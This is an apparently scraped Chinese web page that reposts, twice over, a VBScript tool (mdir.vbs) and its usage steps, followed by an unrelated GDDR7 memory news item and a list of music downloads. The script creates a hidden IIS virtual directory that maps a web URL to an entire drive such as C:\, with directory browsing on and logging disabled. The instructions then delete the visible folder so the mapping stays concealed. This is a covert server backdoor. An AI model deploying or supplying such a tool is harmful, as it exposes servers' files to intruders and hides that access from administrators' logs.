建立隐藏虚拟目录使用。首先要先在对应WEB目录里建立一个目录。然后利用脚本直接在Shell中创建虚拟目录。仅仅为了方便大家使用。方法如下
C:\>mdir.vbs
***************************************************************************
Usage: MDir <-w WebSite Index>
<-v Name1,Path1,Name2,Path2,...>
Example : MDir -w 1 -v "Root/Disk-C","C:\","Root/Disk-D","D:\"
***************************************************************************
Index ServerComment
___________________________________________________________________________
1 asp.com
2 asp.net
3 aspx.net
4 aspx.com
5 tmp.com
6 tmp.net
不加任何参数时,会将IIS中所有主机头罗列出来。
如果你想在 asp.com 中创建,则需要记准对应的 Index值。格式如下
C:\inetpub\wwwroot>md Root
C:\inetpub\wwwroot>Cscript mdir.vbs -w "1" -v "Root/Disk-c","c:\"
C:\inetpub\wwwroot>rd Root
就在此域名下创建了一个隐藏的虚拟目录。
访问方法:
http://asp.com/Root/Disk-c
复制代码 代码如下:
'Lilo 编写
'Lilo@Bugkidz.org
On Error Resume Next
Dim oArgs, ArgNum, ArgComputer, ArgWebSites, ArgVirtualDirs, ArgDirNames(), ArgDirPaths(), DirIndex, ArgComputers
Set oArgs = WScript.Arguments
ArgComputers = Array("LocalHost")
ArgNum = 0
While ArgNum < oArgs.Count
If (ArgNum + 1) >= oArgs.Count Then
Call DisplayUsage
End If
Select Case LCase(oArgs(ArgNum))
Case "-w":
ArgNum = ArgNum + 1
ArgWebSites = oArgs(ArgNum)
Case "-v":
ArgNum = ArgNum + 1
ArgVirtualDirs = Split(oArgs(ArgNum), ",", -1)
Case "-?"
Call DisplayUsage
End Select
ArgNum = ArgNum + 1
Wend
ArgNum = 0
DirIndex = 0
MaxWeb = CLng(ListAllWeb(0))
If Not IsNumeric(ArgWebSites) Or MaxWeb = 0 Then Call DisplayUsage
ReDim ArgDirNames((UBound(ArgVirtualDirs)+1) \ 2)
ReDim ArgDirPaths((UBound(ArgVirtualDirs)+1) \ 2)
if isArray(ArgVirtualDirs) then
While ArgNum <= UBound(ArgVirtualDirs)
ArgDirNames(DirIndex) = ArgVirtualDirs(ArgNum)
If (ArgNum + 1) > UBound(ArgVirtualDirs) Then
WScript.Echo "Error understanding virtual directories"
Call DisplayUsage
End If
ArgNum = ArgNum + 1
ArgDirPaths(DirIndex) = ArgVirtualDirs(ArgNum)
ArgNum = ArgNum + 1
DirIndex = DirIndex + 1
Wend
end if
If (ArgWebSites = "") Or (IsArray(ArgDirNames) = False or IsArray(ArgDirPaths) = False) Then
Call DisplayUsage
Else
Dim compIndex
for compIndex = 0 to UBound(ArgComputers)
Call ASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths)
next
End If
Sub Display(Msg)
WScript.Echo Now & ". Error Code: " & Hex(Err) & " - " & Msg
End Sub
Sub Trace(Msg)
WScript.Echo Now & " : " & Msg
End Sub
Sub DisplayUsage()
WScript.Echo String(75,"*") & vbCrLf & "Usage: MDir <-w WebSite Index>" & vbCrLf & " <-v Name1,Path1,Name2,Path2,...>" & vbCrLf & "Example : MDir -w 1 -v ""Root/Disk-C"",""C:\"",""Root/Disk-D"",""D:\""" & vbCrLf & String(75,"*") & vbCrLf & ListAllWeb(1)
WScript.Quit
End Sub
Sub ASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths)
Dim Computer, webSite, WebSiteID, vRoot, vDir, DirNum
On Error Resume Next
Set webSite = GetObject("IIS://Localhost/W3SVC/" & WebSiteName)
if IsObject(webSite) then
set vRoot = webSite.GetObject("IIsWebVirtualDir", "Root")
Trace "Accessing Root For " & webSite.ADsPath
If (Err <> 0) Then
Display "Unable To Access Root for " & webSite.ADsPath
Else
DirNum = 0
If (IsArray(DirNames) = True) And (IsArray(DirPaths) = True) And (UBound(DirNames) = UBound(DirPaths)) Then
While DirNum < UBound(DirNames)
Set vDir = vRoot.Create("IIsWebVirtualDir",DirNames(DirNum))
If (Err <> 0) Then
Display "Unable To Create " & vRoot.ADsPath & "/" & DirNames(DirNum) &"."
Else
vDir.EnableDirBrowsing = True
vDir.DirBrowseShowDate = False
vDir.DirBrowseShowTime = False
vDir.DirBrowseShowSize = False
vDir.DirBrowseShowExtension = False
vDir.DirBrowseShowLongDate = True
vDir.DirBrowseFlags = -1073741762
vDir.AccessRead = True
vDir.AccessWrite = False
vDir.AccessExecute = False
vDir.AccessScript = False
vDir.AccessSource = False
vDir.AccessNoRemoteRead = False
vDir.AccessNoRemoteWrite = False
vDir.AccessNoRemoteExecute = False
vDir.AccessNoRemoteScript = False
vDir.AppIsolated = 1
vDir.AccessFlags = 1
vDir.ContentIndexed = False
vDir.CreateProcessasUser = False
vDir.DontLog = True
' vDir.DefaultDoc = ""
vDir.EnableDefaultDoc = False
vDir.AppFriendlyName = ""
vDir.AppCreate2 3
vDir.Path = DirPaths(DirNum)
If (Err <> 0) Then
Display "Unable To Bind Path " & DirPaths(DirNum) & " to " & vRootName & "/" & DirNames(DirNum) & ". Path may be invalid."
Else
'Save the changes
vDir.SetInfo
If (Err <> 0) Then
Display "Unable To Save Configuration For " & vRootName & "/" & DirNames(DirNum) &"."
Else
Trace "Web Virtual Directory " & vRootName & "/" & DirNames(DirNum) & " created successfully."
End If
End If
End If
Err = 0
DirNum = DirNum + 1
Wend
End If
End If
else
Display "Unable To Find "& WebSiteName &" on "& ComputerName
End if
Trace "Done."
End Sub
Function ListAllWeb(n)
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
If n = 1 Then ListAllWeb = "" Else ListAllWeb = 0
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
If n = 1 Then
ListAllWeb = ListAllWeb & obj3w.Name & String(15-Len(obj3w.Name)," ") & obj3w.ServerComment & vbCrLf
Else
ListAllWeb = ListAllWeb + 1
End If
End If
Next
if n = 1 Then ListAllWeb = "Index" & String(10," ") & "ServerComment" & vbCrLf & String(75,"_") & vbCrLf & ListAllWeb
Set ObjService=Nothing
End Function
C:\>mdir.vbs
***************************************************************************
Usage: MDir <-w WebSite Index>
<-v Name1,Path1,Name2,Path2,...>
Example : MDir -w 1 -v "Root/Disk-C","C:\","Root/Disk-D","D:\"
***************************************************************************
Index ServerComment
___________________________________________________________________________
1 asp.com
2 asp.net
3 aspx.net
4 aspx.com
5 tmp.com
6 tmp.net
不加任何参数时,会将IIS中所有主机头罗列出来。
如果你想在 asp.com 中创建,则需要记准对应的 Index值。格式如下
C:\inetpub\wwwroot>md Root
C:\inetpub\wwwroot>Cscript mdir.vbs -w "1" -v "Root/Disk-c","c:\"
C:\inetpub\wwwroot>rd Root
就在此域名下创建了一个隐藏的虚拟目录。
访问方法:
http://asp.com/Root/Disk-c
复制代码 代码如下:
'Lilo 编写
'Lilo@Bugkidz.org
On Error Resume Next
Dim oArgs, ArgNum, ArgComputer, ArgWebSites, ArgVirtualDirs, ArgDirNames(), ArgDirPaths(), DirIndex, ArgComputers
Set oArgs = WScript.Arguments
ArgComputers = Array("LocalHost")
ArgNum = 0
While ArgNum < oArgs.Count
If (ArgNum + 1) >= oArgs.Count Then
Call DisplayUsage
End If
Select Case LCase(oArgs(ArgNum))
Case "-w":
ArgNum = ArgNum + 1
ArgWebSites = oArgs(ArgNum)
Case "-v":
ArgNum = ArgNum + 1
ArgVirtualDirs = Split(oArgs(ArgNum), ",", -1)
Case "-?"
Call DisplayUsage
End Select
ArgNum = ArgNum + 1
Wend
ArgNum = 0
DirIndex = 0
MaxWeb = CLng(ListAllWeb(0))
If Not IsNumeric(ArgWebSites) Or MaxWeb = 0 Then Call DisplayUsage
ReDim ArgDirNames((UBound(ArgVirtualDirs)+1) \ 2)
ReDim ArgDirPaths((UBound(ArgVirtualDirs)+1) \ 2)
if isArray(ArgVirtualDirs) then
While ArgNum <= UBound(ArgVirtualDirs)
ArgDirNames(DirIndex) = ArgVirtualDirs(ArgNum)
If (ArgNum + 1) > UBound(ArgVirtualDirs) Then
WScript.Echo "Error understanding virtual directories"
Call DisplayUsage
End If
ArgNum = ArgNum + 1
ArgDirPaths(DirIndex) = ArgVirtualDirs(ArgNum)
ArgNum = ArgNum + 1
DirIndex = DirIndex + 1
Wend
end if
If (ArgWebSites = "") Or (IsArray(ArgDirNames) = False or IsArray(ArgDirPaths) = False) Then
Call DisplayUsage
Else
Dim compIndex
for compIndex = 0 to UBound(ArgComputers)
Call ASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths)
next
End If
Sub Display(Msg)
WScript.Echo Now & ". Error Code: " & Hex(Err) & " - " & Msg
End Sub
Sub Trace(Msg)
WScript.Echo Now & " : " & Msg
End Sub
Sub DisplayUsage()
WScript.Echo String(75,"*") & vbCrLf & "Usage: MDir <-w WebSite Index>" & vbCrLf & " <-v Name1,Path1,Name2,Path2,...>" & vbCrLf & "Example : MDir -w 1 -v ""Root/Disk-C"",""C:\"",""Root/Disk-D"",""D:\""" & vbCrLf & String(75,"*") & vbCrLf & ListAllWeb(1)
WScript.Quit
End Sub
Sub ASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths)
Dim Computer, webSite, WebSiteID, vRoot, vDir, DirNum
On Error Resume Next
Set webSite = GetObject("IIS://Localhost/W3SVC/" & WebSiteName)
if IsObject(webSite) then
set vRoot = webSite.GetObject("IIsWebVirtualDir", "Root")
Trace "Accessing Root For " & webSite.ADsPath
If (Err <> 0) Then
Display "Unable To Access Root for " & webSite.ADsPath
Else
DirNum = 0
If (IsArray(DirNames) = True) And (IsArray(DirPaths) = True) And (UBound(DirNames) = UBound(DirPaths)) Then
While DirNum < UBound(DirNames)
Set vDir = vRoot.Create("IIsWebVirtualDir",DirNames(DirNum))
If (Err <> 0) Then
Display "Unable To Create " & vRoot.ADsPath & "/" & DirNames(DirNum) &"."
Else
vDir.EnableDirBrowsing = True
vDir.DirBrowseShowDate = False
vDir.DirBrowseShowTime = False
vDir.DirBrowseShowSize = False
vDir.DirBrowseShowExtension = False
vDir.DirBrowseShowLongDate = True
vDir.DirBrowseFlags = -1073741762
vDir.AccessRead = True
vDir.AccessWrite = False
vDir.AccessExecute = False
vDir.AccessScript = False
vDir.AccessSource = False
vDir.AccessNoRemoteRead = False
vDir.AccessNoRemoteWrite = False
vDir.AccessNoRemoteExecute = False
vDir.AccessNoRemoteScript = False
vDir.AppIsolated = 1
vDir.AccessFlags = 1
vDir.ContentIndexed = False
vDir.CreateProcessasUser = False
vDir.DontLog = True
' vDir.DefaultDoc = ""
vDir.EnableDefaultDoc = False
vDir.AppFriendlyName = ""
vDir.AppCreate2 3
vDir.Path = DirPaths(DirNum)
If (Err <> 0) Then
Display "Unable To Bind Path " & DirPaths(DirNum) & " to " & vRootName & "/" & DirNames(DirNum) & ". Path may be invalid."
Else
'Save the changes
vDir.SetInfo
If (Err <> 0) Then
Display "Unable To Save Configuration For " & vRootName & "/" & DirNames(DirNum) &"."
Else
Trace "Web Virtual Directory " & vRootName & "/" & DirNames(DirNum) & " created successfully."
End If
End If
End If
Err = 0
DirNum = DirNum + 1
Wend
End If
End If
else
Display "Unable To Find "& WebSiteName &" on "& ComputerName
End if
Trace "Done."
End Sub
Function ListAllWeb(n)
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
If n = 1 Then ListAllWeb = "" Else ListAllWeb = 0
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
If n = 1 Then
ListAllWeb = ListAllWeb & obj3w.Name & String(15-Len(obj3w.Name)," ") & obj3w.ServerComment & vbCrLf
Else
ListAllWeb = ListAllWeb + 1
End If
End If
Next
if n = 1 Then ListAllWeb = "Index" & String(10," ") & "ServerComment" & vbCrLf & String(75,"_") & vbCrLf & ListAllWeb
Set ObjService=Nothing
End Function
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件!
如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
暂无“mdir.vbs 建立隐藏虚拟目录的vbs”评论...
RTX 5090要首发 性能要翻倍!三星展示GDDR7显存
三星在GTC上展示了专为下一代游戏GPU设计的GDDR7内存。
首次推出的GDDR7内存模块密度为16GB,每个模块容量为2GB。其速度预设为32 Gbps(PAM3),但也可以降至28 Gbps,以提高产量和初始阶段的整体性能和成本效益。
据三星表示,GDDR7内存的能效将提高20%,同时工作电压仅为1.1V,低于标准的1.2V。通过采用更新的封装材料和优化的电路设计,使得在高速运行时的发热量降低,GDDR7的热阻比GDDR6降低了70%。
更新动态
2024年11月23日
2024年11月23日
- 凤飞飞《我们的主题曲》飞跃制作[正版原抓WAV+CUE]
- 刘嘉亮《亮情歌2》[WAV+CUE][1G]
- 红馆40·谭咏麟《歌者恋歌浓情30年演唱会》3CD[低速原抓WAV+CUE][1.8G]
- 刘纬武《睡眠宝宝竖琴童谣 吉卜力工作室 白噪音安抚》[320K/MP3][193.25MB]
- 【轻音乐】曼托凡尼乐团《精选辑》2CD.1998[FLAC+CUE整轨]
- 邝美云《心中有爱》1989年香港DMIJP版1MTO东芝首版[WAV+CUE]
- 群星《情叹-发烧女声DSD》天籁女声发烧碟[WAV+CUE]
- 刘纬武《睡眠宝宝竖琴童谣 吉卜力工作室 白噪音安抚》[FLAC/分轨][748.03MB]
- 理想混蛋《Origin Sessions》[320K/MP3][37.47MB]
- 公馆青少年《我其实一点都不酷》[320K/MP3][78.78MB]
- 群星《情叹-发烧男声DSD》最值得珍藏的完美男声[WAV+CUE]
- 群星《国韵飘香·贵妃醉酒HQCD黑胶王》2CD[WAV]
- 卫兰《DAUGHTER》【低速原抓WAV+CUE】
- 公馆青少年《我其实一点都不酷》[FLAC/分轨][398.22MB]
- ZWEI《迟暮的花 (Explicit)》[320K/MP3][57.16MB]